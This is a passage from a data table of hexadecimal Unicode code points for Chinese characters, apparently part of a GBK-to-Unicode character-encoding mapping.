0x7670, 0x7671, 0x7672, 0x7673, 0x7674, 0x7675, 0x7676, 0x7677, 0x7679,
0x767A, 0x767C, 0x767F, 0x7680, 0x7681, 0x7683, 0x7685, 0x7689, 0x768A,
0x768C, 0x768D, 0x768F, 0x7690, 0x7692, 0x7694, 0x7695, 0x7697, 0x7698,
0x769A, 0x769B, 0x769C, 0x769D, 0x769E, 0x769F, 0x76A0, 0x76A1, 0x76A2,
0x76A3, 0x76A5, 0x76A6, 0x76A7, 0x76A8, 0x76A9, 0x76AA, 0x76AB, 0x76AC,
0x76AD, 0x76AF, 0x76B0, 0x76B3, 0x76B5, 0x76B6, 0x76B7, 0x76B8, 0x76B9,
0x76BA, 0x76BB, 0x76BC, 0x76BD, 0x76BE, 0x76C0, 0x76C1, 0x76C3, 0x554A,
0x963F, 0x57C3, 0x6328, 0x54CE, 0x5509, 0x54C0, 0x7691, 0x764C, 0x853C,
0x77EE, 0x827E, 0x788D, 0x7231, 0x9698, 0x978D, 0x6C28, 0x5B89, 0x4FFA,
0x6309, 0x6697, 0x5CB8, 0x80FA, 0x6848, 0x80AE, 0x6602, 0x76CE, 0x51F9,
0x6556, 0x71AC, 0x7FF1, 0x8884, 0x50B2, 0x5965, 0x61CA, 0x6FB3, 0x82AD,
0x634C, 0x6252, 0x53ED, 0x5427, 0x7B06, 0x516B, 0x75A4, 0x5DF4, 0x62D4,
0x8DCB, 0x9776, 0x628A, 0x8019, 0x575D, 0x9738, 0x7F62, 0x7238, 0x767D,
0x67CF, 0x767E, 0x6446, 0x4F70, 0x8D25, 0x62DC, 0x7A17, 0x6591, 0x73ED,
0x642C, 0x6273, 0x822C, 0x9881, 0x677F, 0x7248, 0x626E, 0x62CC, 0x4F34,
0x74E3, 0x534A, 0x529E, 0x7ECA, 0x90A6, 0x5E2E, 0x6886, 0x699C, 0x8180,
0x7ED1, 0x68D2, 0x78C5, 0x868C, 0x9551, 0x508D, 0x8C24, 0x82DE, 0x80DE,
0x5305, 0x8912, 0x5265, 0x76C4, 0x76C7, 0x76C9, 0x76CB, 0x76CC, 0x76D3,
0x76D5, 0x76D9, 0x76DA, 0x76DC, 0x76DD, 0x76DE, 0x76E0, 0x76E1, 0x76E2,
0x76E3, 0x76E4, 0x76E6, 0x76E7, 0x76E8, 0x76E9, 0x76EA, 0x76EB, 0x76EC,
0x76ED, 0x76F0, 0x76F3, 0x76F5, 0x76F6, 0x76F7, 0x76FA, 0x76FB, 0x76FD,
0x76FF, 0x7700, 0x7702, 0x7703, 0x7705, 0x7706, 0x770A, 0x770C, 0x770E,
0x770F, 0x7710, 0x7711, 0x7712, 0x7713, 0x7714, 0x7715, 0x7716, 0x7717,
0x7718, 0x771B, 0x771C, 0x771D, 0x771E, 0x7721, 0x7723, 0x7724, 0x7725,
0x7727, 0x772A, 0x772B, 0x772C, 0x772E, 0x7730, 0x7731, 0x7732, 0x7733,
0x7734, 0x7739, 0x773B, 0x773D, 0x773E, 0x773F, 0x7742, 0x7744, 0x7745,
0x7746, 0x7748, 0x7749, 0x774A, 0x774B, 0x774C, 0x774D, 0x774E, 0x774F,
0x7752, 0x7753, 0x7754, 0x7755, 0x7756, 0x7757, 0x7758, 0x7759, 0x775C,
0x8584, 0x96F9, 0x4FDD, 0x5821, 0x9971, 0x5B9D, 0x62B1, 0x62A5, 0x66B4,
0x8C79, 0x9C8D, 0x7206, 0x676F, 0x7891, 0x60B2, 0x5351, 0x5317, 0x8F88,
0x80CC, 0x8D1D, 0x94A1, 0x500D, 0x72C8, 0x5907, 0x60EB, 0x7119, 0x88AB,
0x5954, 0x82EF, 0x672C, 0x7B28, 0x5D29, 0x7EF7, 0x752D, 0x6CF5, 0x8E66,
0x8FF8, 0x903C, 0x9F3B, 0x6BD4, 0x9119, 0x7B14, 0x5F7C, 0x78A7, 0x84D6,
0x853D, 0x6BD5, 0x6BD9, 0x6BD6, 0x5E01, 0x5E87, 0x75F9, 0x95ED, 0x655D,
0x5F0A, 0x5FC5, 0x8F9F, 0x58C1, 0x81C2, 0x907F, 0x965B, 0x97AD, 0x8FB9,
0x7F16, 0x8D2C, 0x6241, 0x4FBF, 0x53D8, 0x535E, 0x8FA8, 0x8FA9, 0x8FAB,
0x904D, 0x6807, 0x5F6A, 0x8198, 0x8868, 0x9CD6, 0x618B, 0x522B, 0x762A,
0x5F6C, 0x658C, 0x6FD2, 0x6EE8, 0x5BBE, 0x6448, 0x5175, 0x51B0, 0x67C4,
0x4E19, 0x79C9, 0x997C, 0x70B3, 0x775D, 0x775E, 0x775F, 0x7760, 0x7764,
0x7767, 0x7769, 0x776A, 0x776D, 0x776E, 0x776F, 0x7770, 0x7771, 0x7772,
0x7773, 0x7774, 0x7775, 0x7776, 0x7777, 0x7778, 0x777A, 0x777B, 0x777C,
0x7781, 0x7782, 0x7783, 0x7786, 0x7787, 0x7788, 0x7789, 0x778A, 0x778B,
0x778F, 0x7790, 0x7793, 0x7794, 0x7795, 0x7796, 0x7797, 0x7798, 0x7799,
0x779A, 0x779B, 0x779C, 0x779D, 0x779E, 0x77A1, 0x77A3, 0x77A4, 0x77A6,
0x77A8, 0x77AB, 0x77AD, 0x77AE, 0x77AF, 0x77B1, 0x77B2, 0x77B4, 0x77B6,
0x77B7, 0x77B8, 0x77B9, 0x77BA, 0x77BC, 0x77BE, 0x77C0, 0x77C1, 0x77C2,
0x77C3, 0x77C4, 0x77C5, 0x77C6, 0x77C7, 0x77C8, 0x77C9, 0x77CA, 0x77CB,
0x77CC, 0x77CE, 0x77CF, 0x77D0, 0x77D1, 0x77D2, 0x77D3, 0x77D4, 0x77D5,
0x77D6, 0x77D8, 0x77D9, 0x77DA, 0x77DD, 0x77DE, 0x77DF, 0x77E0, 0x77E1,
0x77E4, 0x75C5, 0x5E76, 0x73BB, 0x83E0, 0x64AD, 0x62E8, 0x94B5, 0x6CE2,
0x535A, 0x52C3, 0x640F, 0x94C2, 0x7B94, 0x4F2F, 0x5E1B, 0x8236, 0x8116,
0x818A, 0x6E24, 0x6CCA, 0x9A73, 0x6355, 0x535C, 0x54FA, 0x8865, 0x57E0,
0x4E0D, 0x5E03, 0x6B65, 0x7C3F, 0x90E8, 0x6016, 0x64E6, 0x731C, 0x88C1,
0x6750, 0x624D, 0x8D22, 0x776C, 0x8E29, 0x91C7, 0x5F69, 0x83DC, 0x8521,
0x9910, 0x53C2, 0x8695, 0x6B8B, 0x60ED, 0x60E8, 0x707F, 0x82CD, 0x8231,
0x4ED3, 0x6CA7, 0x85CF, 0x64CD, 0x7CD9, 0x69FD, 0x66F9, 0x8349, 0x5395,
0x7B56, 0x4FA7, 0x518C, 0x6D4B, 0x5C42, 0x8E6D, 0x63D2, 0x53C9, 0x832C,
0x8336, 0x67E5, 0x78B4, 0x643D, 0x5BDF, 0x5C94, 0x5DEE, 0x8BE7, 0x62C6,
0x67F4, 0x8C7A, 0x6400, 0x63BA, 0x8749, 0x998B, 0x8C17, 0x7F20, 0x94F2,
0x4EA7, 0x9610, 0x98A4, 0x660C, 0x7316, 0x77E6, 0x77E8, 0x77EA, 0x77EF,
0x77F0, 0x77F1, 0x77F2, 0x77F4, 0x77F5, 0x77F7, 0x77F9, 0x77FA, 0x77FB,
0x77FC, 0x7803, 0x7804, 0x7805, 0x7806, 0x7807, 0x7808, 0x780A, 0x780B,
0x780E, 0x780F, 0x7810, 0x7813, 0x7815, 0x7819, 0x781B, 0x781E, 0x7820,
0x7821, 0x7822, 0x7824, 0x7828, 0x782A, 0x782B, 0x782E, 0x782F, 0x7831,
0x7832, 0x7833, 0x7835, 0x7836, 0x783D, 0x783F, 0x7841, 0x7842, 0x7843,
0x7844, 0x7846, 0x7848, 0x7849, 0x784A, 0x784B, 0x784D, 0x784F, 0x7851,
0x7853, 0x7854, 0x7858, 0x7859, 0x785A, 0x785B, 0x785C, 0x785E, 0x785F,
0x7860, 0x7861, 0x7862, 0x7863, 0x7864, 0x7865, 0x7866, 0x7867, 0x7868,
0x7869, 0x786F, 0x7870, 0x7871, 0x7872, 0x7873, 0x7874, 0x7875, 0x7876,
0x7878, 0x7879, 0x787A, 0x787B, 0x787D, 0x787E, 0x787F, 0x7880, 0x7881,
0x7882, 0x7883, 0x573A, 0x5C1D, 0x5E38, 0x957F, 0x507F, 0x80A0, 0x5382,
0x655E, 0x7545, 0x5531, 0x5021, 0x8D85, 0x6284, 0x949E, 0x671D, 0x5632,
0x6F6E, 0x5DE2, 0x5435, 0x7092, 0x8F66, 0x626F, 0x64A4, 0x63A3, 0x5F7B,
0x6F88, 0x90F4, 0x81E3, 0x8FB0, 0x5C18, 0x6668, 0x5FF1, 0x6C89, 0x9648,
0x8D81, 0x886C, 0x6491, 0x79F0, 0x57CE, 0x6A59, 0x6210, 0x5448, 0x4E58,
0x7A0B, 0x60E9, 0x6F84, 0x8BDA, 0x627F, 0x901E, 0x9A8B, 0x79E4, 0x5403,
0x75F4, 0x6301, 0x5319, 0x6C60, 0x8FDF, 0x5F1B, 0x9A70, 0x803B, 0x9F7F,
0x4F88, 0x5C3A, 0x8D64, 0x7FC5, 0x65A5, 0x70BD, 0x5145, 0x51B2, 0x866B,
0x5D07, 0x5BA0, 0x62BD, 0x916C, 0x7574, 0x8E0C, 0x7A20, 0x6101, 0x7B79,
0x4EC7, 0x7EF8, 0x7785, 0x4E11, 0x81ED, 0x521D, 0x51FA, 0x6A71, 0x53A8,
0x8E87, 0x9504, 0x96CF, 0x6EC1, 0x9664, 0x695A, 0x7884, 0x7885, 0x7886,
0x7888, 0x788A, 0x788B, 0x788F, 0x7890, 0x7892, 0x7894, 0x7895, 0x7896,
0x7899, 0x789D, 0x789E, 0x78A0, 0x78A2, 0x78A4, 0x78A6, 0x78A8, 0x78A9,
0x78AA, 0x78AB, 0x78AC, 0x78AD, 0x78AE, 0x78AF, 0x78B5, 0x78B6, 0x78B7,
0x78B8, 0x78BA, 0x78BB, 0x78BC, 0x78BD, 0x78BF, 0x78C0, 0x78C2, 0x78C3,
0x78C4, 0x78C6, 0x78C7, 0x78C8, 0x78CC, 0x78CD, 0x78CE, 0x78CF, 0x78D1,
0x78D2, 0x78D3, 0x78D6, 0x78D7, 0x78D8, 0x78DA, 0x78DB, 0x78DC, 0x78DD,
0x78DE, 0x78DF, 0x78E0, 0x78E1, 0x78E2, 0x78E3, 0x78E4, 0x78E5, 0x78E6,
0x78E7, 0x78E9, 0x78EA, 0x78EB, 0x78ED, 0x78EE, 0x78EF, 0x78F0, 0x78F1,
0x78F3, 0x78F5, 0x78F6, 0x78F8, 0x78F9, 0x78FB, 0x78FC, 0x78FD, 0x78FE,
0x78FF, 0x7900, 0x7902, 0x7903, 0x7904, 0x7906, 0x7907, 0x7908, 0x7909,
0x790A, 0x790B, 0x790C, 0x7840, 0x50A8, 0x77D7, 0x6410, 0x89E6, 0x5904,
0x63E3, 0x5DDD, 0x7A7F, 0x693D, 0x4F20, 0x8239, 0x5598, 0x4E32, 0x75AE,
0x7A97, 0x5E62, 0x5E8A, 0x95EF, 0x521B, 0x5439, 0x708A, 0x6376, 0x9524,
0x5782, 0x6625, 0x693F, 0x9187, 0x5507, 0x6DF3, 0x7EAF, 0x8822, 0x6233,
0x7EF0, 0x75B5, 0x8328, 0x78C1, 0x96CC, 0x8F9E, 0x6148, 0x74F7, 0x8BCD,
0x6B64, 0x523A, 0x8D50, 0x6B21, 0x806A, 0x8471, 0x56F1, 0x5306, 0x4ECE,
0x4E1B, 0x51D1, 0x7C97, 0x918B, 0x7C07, 0x4FC3, 0x8E7F, 0x7BE1, 0x7A9C,
0x6467, 0x5D14, 0x50AC, 0x8106, 0x7601, 0x7CB9, 0x6DEC, 0x7FE0, 0x6751,
0x5B58, 0x5BF8, 0x78CB, 0x64AE, 0x6413, 0x63AA, 0x632B, 0x9519, 0x642D,
0x8FBE, 0x7B54, 0x7629, 0x6253, 0x5927, 0x5446, 0x6B79, 0x50A3, 0x6234,
0x5E26, 0x6B86, 0x4EE3, 0x8D37, 0x888B, 0x5F85, 0x902E, 0x790D, 0x790E,
0x790F, 0x7910, 0x7911, 0x7912, 0x7914, 0x7915, 0x7916, 0x7917, 0x7918,
0x7919, 0x791A, 0x791B, 0x791C, 0x791D, 0x791F, 0x7920, 0x7921, 0x7922,
0x7923, 0x7925, 0x7926, 0x7927, 0x7928, 0x7929, 0x792A, 0x792B, 0x792C,
0x792D, 0x792E, 0x792F, 0x7930, 0x7931, 0x7932, 0x7933, 0x7935, 0x7936,
0x7937, 0x7938, 0x7939, 0x793D, 0x793F, 0x7942, 0x7943, 0x7944, 0x7945,
0x7947, 0x794A, 0x794B, 0x794C, 0x794D, 0x794E, 0x794F, 0x7950, 0x7951,
0x7952, 0x7954, 0x7955, 0x7958, 0x7959, 0x7961, 0x7963, 0x7964, 0x7966,
0x7969, 0x796A, 0x796B, 0x796C, 0x796E, 0x7970, 0x7971, 0x7972, 0x7973,
0x7974, 0x7975, 0x7976, 0x7979, 0x797B, 0x797C, 0x797D, 0x797E, 0x797F,
0x7982, 0x7983, 0x7986, 0x7987, 0x7988, 0x7989, 0x798B, 0x798C, 0x798D,
0x798E, 0x7990, 0x7991, 0x7992, 0x6020, 0x803D, 0x62C5, 0x4E39, 0x5355,
0x90F8, 0x63B8, 0x80C6, 0x65E6, 0x6C2E, 0x4F46, 0x60EE, 0x6DE1, 0x8BDE,
0x5F39, 0x86CB, 0x5F53, 0x6321, 0x515A, 0x8361, 0x6863, 0x5200, 0x6363,
0x8E48, 0x5012, 0x5C9B, 0x7977, 0x5BFC, 0x5230, 0x7A3B, 0x60BC, 0x9053,
0x76D7, 0x5FB7, 0x5F97, 0x7684, 0x8E6C, 0x706F, 0x767B, 0x7B49, 0x77AA,
0x51F3, 0x9093, 0x5824, 0x4F4E, 0x6EF4, 0x8FEA, 0x654C, 0x7B1B, 0x72C4,
0x6DA4, 0x7FDF, 0x5AE1, 0x62B5, 0x5E95, 0x5730, 0x8482, 0x7B2C, 0x5E1D,
0x5F1F, 0x9012, 0x7F14, 0x98A0, 0x6382, 0x6EC7, 0x7898, 0x70B9, 0x5178,
0x975B, 0x57AB, 0x7535, 0x4F43, 0x7538, 0x5E97, 0x60E6, 0x5960, 0x6DC0,
0x6BBF, 0x7889, 0x53FC, 0x96D5, 0x51CB, 0x5201, 0x6389, 0x540A, 0x9493,
0x8C03, 0x8DCC, 0x7239, 0x789F, 0x8776, 0x8FED, 0x8C0D, 0x53E0, 0x7993,
0x7994, 0x7995, 0x7996, 0x7997, 0x7998, 0x7999, 0x799B, 0x799C, 0x799D,
0x799E, 0x799F, 0x79A0, 0x79A1, 0x79A2, 0x79A3, 0x79A4, 0x79A5, 0x79A6,
0x79A8, 0x79A9, 0x79AA, 0x79AB, 0x79AC, 0x79AD, 0x79AE, 0x79AF, 0x79B0,
0x79B1, 0x79B2, 0x79B4, 0x79B5, 0x79B6, 0x79B7, 0x79B8, 0x79BC, 0x79BF,
0x79C2, 0x79C4, 0x79C5, 0x79C7, 0x79C8, 0x79CA, 0x79CC, 0x79CE, 0x79CF,
0x79D0, 0x79D3, 0x79D4, 0x79D6, 0x79D7, 0x79D9, 0x79DA, 0x79DB, 0x79DC,
0x79DD, 0x79DE, 0x79E0, 0x79E1, 0x79E2, 0x79E5, 0x79E8, 0x79EA, 0x79EC,
0x79EE, 0x79F1, 0x79F2, 0x79F3, 0x79F4, 0x79F5, 0x79F6, 0x79F7, 0x79F9,
0x79FA, 0x79FC, 0x79FE, 0x79FF, 0x7A01, 0x7A04, 0x7A05, 0x7A07, 0x7A08,
0x7A09, 0x7A0A, 0x7A0C, 0x7A0F, 0x7A10, 0x7A11, 0x7A12, 0x7A13, 0x7A15,
0x7A16, 0x7A18, 0x7A19, 0x7A1B, 0x7A1C, 0x4E01, 0x76EF, 0x53EE, 0x9489,
0x9876, 0x9F0E, 0x952D, 0x5B9A, 0x8BA2, 0x4E22, 0x4E1C, 0x51AC, 0x8463,
0x61C2, 0x52A8, 0x680B, 0x4F97, 0x606B, 0x51BB, 0x6D1E, 0x515C, 0x6296,
0x6597, 0x9661, 0x8C46, 0x9017, 0x75D8, 0x90FD, 0x7763, 0x6BD2, 0x728A,
0x72EC, 0x8BFB, 0x5835, 0x7779, 0x8D4C, 0x675C, 0x9540, 0x809A, 0x5EA6,
0x6E21, 0x5992, 0x7AEF, 0x77ED, 0x953B, 0x6BB5, 0x65AD, 0x7F0E, 0x5806,
0x5151, 0x961F, 0x5BF9, 0x58A9, 0x5428, 0x8E72, 0x6566, 0x987F, 0x56E4,
0x949D, 0x76FE, 0x9041, 0x6387, 0x54C6, 0x591A, 0x593A, 0x579B, 0x8EB2,
0x6735, 0x8DFA, 0x8235, 0x5241, 0x60F0, 0x5815, 0x86FE, 0x5CE8, 0x9E45,
0x4FC4, 0x989D, 0x8BB9, 0x5A25, 0x6076, 0x5384, 0x627C, 0x904F, 0x9102,
0x997F, 0x6069, 0x800C, 0x513F, 0x8033, 0x5C14, 0x9975, 0x6D31, 0x4E8C,
0x7A1D, 0x7A1F, 0x7A21, 0x7A22, 0x7A24, 0x7A25, 0x7A26, 0x7A27, 0x7A28,
0x7A29, 0x7A2A, 0x7A2B, 0x7A2C, 0x7A2D, 0x7A2E, 0x7A2F, 0x7A30, 0x7A31,
0x7A32, 0x7A34, 0x7A35, 0x7A36, 0x7A38, 0x7A3A, 0x7A3E, 0x7A40, 0x7A41,
0x7A42, 0x7A43, 0x7A44, 0x7A45, 0x7A47, 0x7A48, 0x7A49, 0x7A4A, 0x7A4B,
0x7A4C, 0x7A4D, 0x7A4E, 0x7A4F, 0x7A50, 0x7A52, 0x7A53, 0x7A54, 0x7A55,
0x7A56, 0x7A58, 0x7A59, 0x7A5A, 0x7A5B, 0x7A5C, 0x7A5D, 0x7A5E, 0x7A5F,
0x7A60, 0x7A61, 0x7A62, 0x7A63, 0x7A64, 0x7A65, 0x7A66, 0x7A67, 0x7A68,
0x7A69, 0x7A6A, 0x7A6B, 0x7A6C, 0x7A6D, 0x7A6E, 0x7A6F, 0x7A71, 0x7A72,
0x7A73, 0x7A75, 0x7A7B, 0x7A7C, 0x7A7D, 0x7A7E, 0x7A82, 0x7A85, 0x7A87,
0x7A89, 0x7A8A, 0x7A8B, 0x7A8C, 0x7A8E, 0x7A8F, 0x7A90, 0x7A93, 0x7A94,
0x7A99, 0x7A9A, 0x7A9B, 0x7A9E, 0x7AA1, 0x7AA2, 0x8D30, 0x53D1, 0x7F5A,
0x7B4F, 0x4F10, 0x4E4F, 0x9600, 0x6CD5, 0x73D0, 0x85E9, 0x5E06, 0x756A,
0x7FFB, 0x6A0A, 0x77FE, 0x9492, 0x7E41, 0x51E1, 0x70E6, 0x53CD, 0x8FD4,
0x8303, 0x8D29, 0x72AF, 0x996D, 0x6CDB, 0x574A, 0x82B3, 0x65B9, 0x80AA,
0x623F, 0x9632, 0x59A8, 0x4EFF, 0x8BBF, 0x7EBA, 0x653E, 0x83F2, 0x975E,
0x5561, 0x98DE, 0x80A5, 0x532A, 0x8BFD, 0x5420, 0x80BA, 0x5E9F, 0x6CB8,
0x8D39, 0x82AC, 0x915A, 0x5429, 0x6C1B, 0x5206, 0x7EB7, 0x575F, 0x711A,
0x6C7E, 0x7C89, 0x594B, 0x4EFD, 0x5FFF, 0x6124, 0x7CAA, 0x4E30, 0x5C01,
0x67AB, 0x8702, 0x5CF0, 0x950B, 0x98CE, 0x75AF, 0x70FD, 0x9022, 0x51AF,
0x7F1D, 0x8BBD, 0x5949, 0x51E4, 0x4F5B, 0x5426, 0x592B, 0x6577, 0x80A4,
0x5B75, 0x6276, 0x62C2, 0x8F90, 0x5E45, 0x6C1F, 0x7B26, 0x4F0F, 0x4FD8,
0x670D, 0x7AA3, 0x7AA4, 0x7AA7, 0x7AA9, 0x7AAA, 0x7AAB, 0x7AAE, 0x7AAF,
0x7AB0, 0x7AB1, 0x7AB2, 0x7AB4, 0x7AB5, 0x7AB6, 0x7AB7, 0x7AB8, 0x7AB9,
0x7ABA, 0x7ABB, 0x7ABC, 0x7ABD, 0x7ABE, 0x7AC0, 0x7AC1, 0x7AC2, 0x7AC3,
0x7AC4, 0x7AC5, 0x7AC6, 0x7AC7, 0x7AC8, 0x7AC9, 0x7ACA, 0x7ACC, 0x7ACD,
0x7ACE, 0x7ACF, 0x7AD0, 0x7AD1, 0x7AD2, 0x7AD3, 0x7AD4, 0x7AD5, 0x7AD7,
0x7AD8, 0x7ADA, 0x7ADB, 0x7ADC, 0x7ADD, 0x7AE1, 0x7AE2, 0x7AE4, 0x7AE7,
0x7AE8, 0x7AE9, 0x7AEA, 0x7AEB, 0x7AEC, 0x7AEE, 0x7AF0, 0x7AF1, 0x7AF2,
0x7AF3, 0x7AF4, 0x7AF5, 0x7AF6, 0x7AF7, 0x7AF8, 0x7AFB, 0x7AFC, 0x7AFE,
0x7B00, 0x7B01, 0x7B02, 0x7B05, 0x7B07, 0x7B09, 0x7B0C, 0x7B0D, 0x7B0E,
0x7B10, 0x7B12, 0x7B13, 0x7B16, 0x7B17, 0x7B18, 0x7B1A, 0x7B1C, 0x7B1D,
0x7B1F, 0x7B21, 0x7B22, 0x7B23, 0x7B27, 0x7B29, 0x7B2D, 0x6D6E, 0x6DAA,
0x798F, 0x88B1, 0x5F17, 0x752B, 0x629A, 0x8F85, 0x4FEF, 0x91DC, 0x65A7,
0x812F, 0x8151, 0x5E9C, 0x8150, 0x8D74, 0x526F, 0x8986, 0x8D4B, 0x590D,
0x5085, 0x4ED8, 0x961C, 0x7236, 0x8179, 0x8D1F, 0x5BCC, 0x8BA3, 0x9644,
0x5987, 0x7F1A, 0x5490, 0x5676, 0x560E, 0x8BE5, 0x6539, 0x6982, 0x9499,
0x76D6, 0x6E89, 0x5E72, 0x7518, 0x6746, 0x67D1, 0x7AFF, 0x809D, 0x8D76,
0x611F, 0x79C6, 0x6562, 0x8D63, 0x5188, 0x521A, 0x94A2, 0x7F38, 0x809B,
0x7EB2, 0x5C97, 0x6E2F, 0x6760, 0x7BD9, 0x768B, 0x9AD8, 0x818F, 0x7F94,
0x7CD5, 0x641E, 0x9550, 0x7A3F, 0x544A, 0x54E5, 0x6B4C, 0x6401, 0x6208,
0x9E3D, 0x80F3, 0x7599, 0x5272, 0x9769, 0x845B, 0x683C, 0x86E4, 0x9601,
0x9694, 0x94EC, 0x4E2A, 0x5404, 0x7ED9, 0x6839, 0x8DDF, 0x8015, 0x66F4,
0x5E9A, 0x7FB9, 0x7B2F, 0x7B30, 0x7B32, 0x7B34, 0x7B35, 0x7B36, 0x7B37,
0x7B39, 0x7B3B, 0x7B3D, 0x7B3F, 0x7B40, 0x7B41, 0x7B42, 0x7B43, 0x7B44,
0x7B46, 0x7B48, 0x7B4A, 0x7B4D, 0x7B4E, 0x7B53, 0x7B55, 0x7B57, 0x7B59,
0x7B5C, 0x7B5E, 0x7B5F, 0x7B61, 0x7B63, 0x7B64, 0x7B65, 0x7B66, 0x7B67,
0x7B68, 0x7B69, 0x7B6A, 0x7B6B, 0x7B6C, 0x7B6D, 0x7B6F, 0x7B70, 0x7B73,
0x7B74, 0x7B76, 0x7B78, 0x7B7A, 0x7B7C, 0x7B7D, 0x7B7F, 0x7B81, 0x7B82,
0x7B83, 0x7B84, 0x7B86, 0x7B87, 0x7B88, 0x7B89, 0x7B8A, 0x7B8B, 0x7B8C,
0x7B8E, 0x7B8F, 0x7B91, 0x7B92, 0x7B93, 0x7B96, 0x7B98, 0x7B99, 0x7B9A,
0x7B9B, 0x7B9E, 0x7B9F, 0x7BA0, 0x7BA3, 0x7BA4, 0x7BA5, 0x7BAE, 0x7BAF,
0x7BB0, 0x7BB2, 0x7BB3, 0x7BB5, 0x7BB6, 0x7BB7, 0x7BB9, 0x7BBA, 0x7BBB,
0x7BBC, 0x7BBD, 0x7BBE, 0x7BBF, 0x7BC0, 0x7BC2, 0x7BC3, 0x7BC4, 0x57C2,
0x803F, 0x6897, 0x5DE5, 0x653B, 0x529F, 0x606D, 0x9F9A, 0x4F9B, 0x8EAC,
0x516C, 0x5BAB, 0x5F13, 0x5DE9, 0x6C5E, 0x62F1, 0x8D21, 0x5171, 0x94A9,
0x52FE, 0x6C9F, 0x82DF, 0x72D7, 0x57A2, 0x6784, 0x8D2D, 0x591F, 0x8F9C,
0x83C7, 0x5495, 0x7B8D, 0x4F30, 0x6CBD, 0x5B64, 0x59D1, 0x9F13, 0x53E4,
0x86CA, 0x9AA8, 0x8C37, 0x80A1, 0x6545, 0x987E, 0x56FA, 0x96C7, 0x522E,
0x74DC, 0x5250, 0x5BE1, 0x6302, 0x8902, 0x4E56, 0x62D0, 0x602A, 0x68FA,
0x5173, 0x5B98, 0x51A0, 0x89C2, 0x7BA1, 0x9986, 0x7F50, 0x60EF, 0x704C,
0x8D2F, 0x5149, 0x5E7F, 0x901B, 0x7470, 0x89C4, 0x572D, 0x7845, 0x5F52,
0x9F9F, 0x95FA, 0x8F68, 0x9B3C, 0x8BE1, 0x7678, 0x6842, 0x67DC, 0x8DEA,
0x8D35, 0x523D, 0x8F8A, 0x6EDA, 0x68CD, 0x9505, 0x90ED, 0x56FD, 0x679C,
0x88F9, 0x8FC7, 0x54C8, 0x7BC5, 0x7BC8, 0x7BC9, 0x7BCA, 0x7BCB, 0x7BCD,
0x7BCE, 0x7BCF, 0x7BD0, 0x7BD2, 0x7BD4, 0x7BD5, 0x7BD6, 0x7BD7, 0x7BD8,
0x7BDB, 0x7BDC, 0x7BDE, 0x7BDF, 0x7BE0, 0x7BE2, 0x7BE3, 0x7BE4, 0x7BE7,
0x7BE8, 0x7BE9, 0x7BEB, 0x7BEC, 0x7BED, 0x7BEF, 0x7BF0, 0x7BF2, 0x7BF3,
0x7BF4, 0x7BF5, 0x7BF6, 0x7BF8, 0x7BF9, 0x7BFA, 0x7BFB, 0x7BFD, 0x7BFF,
0x7C00, 0x7C01, 0x7C02, 0x7C03, 0x7C04, 0x7C05, 0x7C06, 0x7C08, 0x7C09,
0x7C0A, 0x7C0D, 0x7C0E, 0x7C10, 0x7C11, 0x7C12, 0x7C13, 0x7C14, 0x7C15,
0x7C17, 0x7C18, 0x7C19, 0x7C1A, 0x7C1B, 0x7C1C, 0x7C1D, 0x7C1E, 0x7C20,
0x7C21, 0x7C22, 0x7C23, 0x7C24, 0x7C25, 0x7C28, 0x7C29, 0x7C2B, 0x7C2C,
0x7C2D, 0x7C2E, 0x7C2F, 0x7C30, 0x7C31, 0x7C32, 0x7C33, 0x7C34, 0x7C35,
0x7C36, 0x7C37, 0x7C39, 0x7C3A, 0x7C3B, 0x7C3C, 0x7C3D, 0x7C3E, 0x7C42,
0x9AB8, 0x5B69, 0x6D77, 0x6C26, 0x4EA5, 0x5BB3, 0x9A87, 0x9163, 0x61A8,
0x90AF, 0x97E9, 0x542B, 0x6DB5, 0x5BD2, 0x51FD, 0x558A, 0x7F55, 0x7FF0,
0x64BC, 0x634D, 0x65F1, 0x61BE, 0x608D, 0x710A, 0x6C57, 0x6C49, 0x592F,
0x676D, 0x822A, 0x58D5, 0x568E, 0x8C6A, 0x6BEB, 0x90DD, 0x597D, 0x8017,
0x53F7, 0x6D69, 0x5475, 0x559D, 0x8377, 0x83CF, 0x6838, 0x79BE, 0x548C,
0x4F55, 0x5408, 0x76D2, 0x8C89, 0x9602, 0x6CB3, 0x6DB8, 0x8D6B, 0x8910,
0x9E64, 0x8D3A, 0x563F, 0x9ED1, 0x75D5, 0x5F88, 0x72E0, 0x6068, 0x54FC,
0x4EA8, 0x6A2A, 0x8861, 0x6052, 0x8F70, 0x54C4, 0x70D8, 0x8679, 0x9E3F,
0x6D2A, 0x5B8F, 0x5F18, 0x7EA2, 0x5589, 0x4FAF, 0x7334, 0x543C, 0x539A,
0x5019, 0x540E, 0x547C, 0x4E4E, 0x5FFD, 0x745A, 0x58F6, 0x846B, 0x80E1,
0x8774, 0x72D0, 0x7CCA, 0x6E56, 0x7C43, 0x7C44, 0x7C45, 0x7C46, 0x7C47,
0x7C48, 0x7C49, 0x7C4A, 0x7C4B, 0x7C4C, 0x7C4E, 0x7C4F, 0x7C50, 0x7C51,
0x7C52, 0x7C53, 0x7C54, 0x7C55, 0x7C56, 0x7C57, 0x7C58, 0x7C59, 0x7C5A,
0x7C5B, 0x7C5C, 0x7C5D, 0x7C5E, 0x7C5F, 0x7C60, 0x7C61, 0x7C62, 0x7C63,
0x7C64, 0x7C65, 0x7C66, 0x7C67, 0x7C68, 0x7C69, 0x7C6A, 0x7C6B, 0x7C6C,
0x7C6D, 0x7C6E, 0x7C6F, 0x7C70, 0x7C71, 0x7C72, 0x7C75, 0x7C76, 0x7C77,
0x7C78, 0x7C79, 0x7C7A, 0x7C7E, 0x7C7F, 0x7C80, 0x7C81, 0x7C82, 0x7C83,
0x7C84, 0x7C85, 0x7C86, 0x7C87, 0x7C88, 0x7C8A, 0x7C8B, 0x7C8C, 0x7C8D,
0x7C8E, 0x7C8F, 0x7C90, 0x7C93, 0x7C94, 0x7C96, 0x7C99, 0x7C9A, 0x7C9B,
0x7CA0, 0x7CA1, 0x7CA3, 0x7CA6, 0x7CA7, 0x7CA8, 0x7CA9, 0x7CAB, 0x7CAC,
0x7CAD, 0x7CAF, 0x7CB0, 0x7CB4, 0x7CB5, 0x7CB6, 0x7CB7, 0x7CB8, 0x7CBA,
0x7CBB, 0x5F27, 0x864E, 0x552C, 0x62A4, 0x4E92, 0x6CAA, 0x6237, 0x82B1,
0x54D7, 0x534E, 0x733E, 0x6ED1, 0x753B, 0x5212, 0x5316, 0x8BDD, 0x69D0,
0x5F8A, 0x6000, 0x6DEE, 0x574F, 0x6B22, 0x73AF, 0x6853, 0x8FD8, 0x7F13,
